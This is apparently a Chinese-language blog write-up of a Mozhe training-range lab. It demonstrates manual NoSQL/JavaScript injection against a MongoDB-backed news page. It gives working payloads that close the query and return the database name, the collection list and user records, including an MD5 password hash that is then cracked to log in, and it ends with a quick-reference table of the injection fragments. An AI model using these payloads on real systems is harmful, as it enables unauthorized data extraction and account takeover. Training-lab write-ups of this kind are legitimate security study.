当前位置: 首页 > ds >正文

墨者:通过手工解决SQL手工注入漏洞测试(MongoDB数据库)

一、SQL手工注入漏洞测试(MongoDB数据库)

本文以墨者学院靶场为例,演示MongoDB数据库的手工SQL注入全过程。靶场以自己的地址为准:http://124.70.71.251:42286/new_list.php?id=1

二、注入原理说明

MongoDB作为NoSQL数据库,其注入方式与传统SQL注入不同。攻击主要利用:

  1. JSON/BSON语法闭合
  2. JavaScript代码执行
  3. 查询结果强制返回

三、注入步骤详解(如下指令去掉了id之前的内容

1. 查询回显位置

id=1'});return ({'title':'1','content':'2
  • 攻击手法
    • '} 闭合原始查询的JSON结构
    • ); 终止当前语句
    • return 构造新文档强制返回
  • 作用:确认页面显示titlecontent字段的位置
    在这里插入图片描述

2. 查询数据库名称

id=1'});return ({'title':tojson(db),'content':'2
  • 关键函数
    • db:当前数据库对象
    • tojson():将MongoDB对象转为JSON字符串
  • 输出示例
    mozhe_cms_Authority
    

在这里插入图片描述

3. 查询表名称(集合列表)

id=1'});return ({'title':tojson(db.getCollectionNames()),'content':'2
  • 核心方法
    • getCollectionNames():返回所有集合名称数组
  • 典型结果
    [ "Authority_confidential", "notice", "system.indexes" ]
    

在这里插入图片描述

4. 查询字段结构

id=1'});return ({'title':tojson(db.Authority_confidential.find()[0]),'content':'2

修改find()[1]值查询其他账号:

id=1'});return ({'title':tojson(db.Authority_confidential.find()[1]),'content':'2
  • 技术要点
    • Authority_confidential:目标集合名
    • find()[0]:获取集合第一条记录
    • find()[1]:获取集合第二条记录
  • 泄露内容
    {"_id": ObjectId("6885d4f44abcd62e71223bc5"),"name": "mozhe","password": "a83cd5ad5ed3e1c5597441aaab289f5c","status": "0"
    }
    

在这里插入图片描述
在这里插入图片描述

5. MD5解密后,手动登录,获取Key

MD5工具地址:https://www.cmd5.com/
在这里插入图片描述

四、关键指令速查表

指令/函数作用示例输出
'})闭合原始查询终止当前JSON结构
return控制返回数据构造恶意输出
tojson()对象序列化转为可读JSON
db当前数据库对象包含连接信息
getCollectionNames()获取所有集合[“coll1”,“coll2”]
find()[0]获取首条记录完整文档结构
http://www.xdnf.cn/news/16586.html

相关文章:

  • C++学习(线程相关)
  • 负载均衡Haproxy
  • SABR-Net
  • uniapp input 聚焦时键盘弹起滚动到对应的部分
  • iOS安全和逆向系列教程 第21篇:iOS应用加密与混淆技术深度剖析
  • Java面试宝典:MySQL性能优化
  • 用 ESP32 和 LCD 轻松显示植物湿度
  • 第十八章:AI的“通感”:揭秘图、文、音的共同语言——CLIP模型
  • 系统整理Python的循环语句和常用方法
  • Keil MDK 嵌入式开发问题:Error: L6218E: Undefined symbol HAL_TIM_PWM_ConfigChannel
  • GIt学习——分布式版本控制工具
  • 设计模式(八)结构型:桥接模式详解
  • 设计模式(七)结构型:适配器模式详解
  • 【网络协议安全】任务15:DHCP与FTP服务全配置
  • 安装Selenium⾃动化
  • PiscCode使用OpenCV实现漂浮方块特效
  • 三种常用的抗锯齿
  • Java大数据面试实战:Hadoop生态与分布式计算
  • esp32s3创建rust工程 window成功mac
  • 结构化文本文档的内容抽取与版本重构策略
  • net8.0一键创建支持(Orm-Sqlite-MySql-SqlServer)
  • 【最新最完整】SpringAI-1.0.0开发MCP Server,搭建MCP Client 实战笔记(进阶+详细+完整代码)
  • Map(HashMap、LinkedHashMap、TreeMap)双列集合
  • 【机器学习深度学习】LLaMAFactory评估数据与评估参数解析
  • 《频率之光:危机降临》
  • 下载 | Win11 官方精简版,系统占用空间极少!(7月更新、Win 11 IoT物联网 LTSC版、适合老电脑安装使用)
  • 进度条制作--Linux知识的小应用
  • RabbiteMQ安装-ubuntu
  • Flutter实现列表功能
  • 【lucene】向量搜索底层文件关系梳理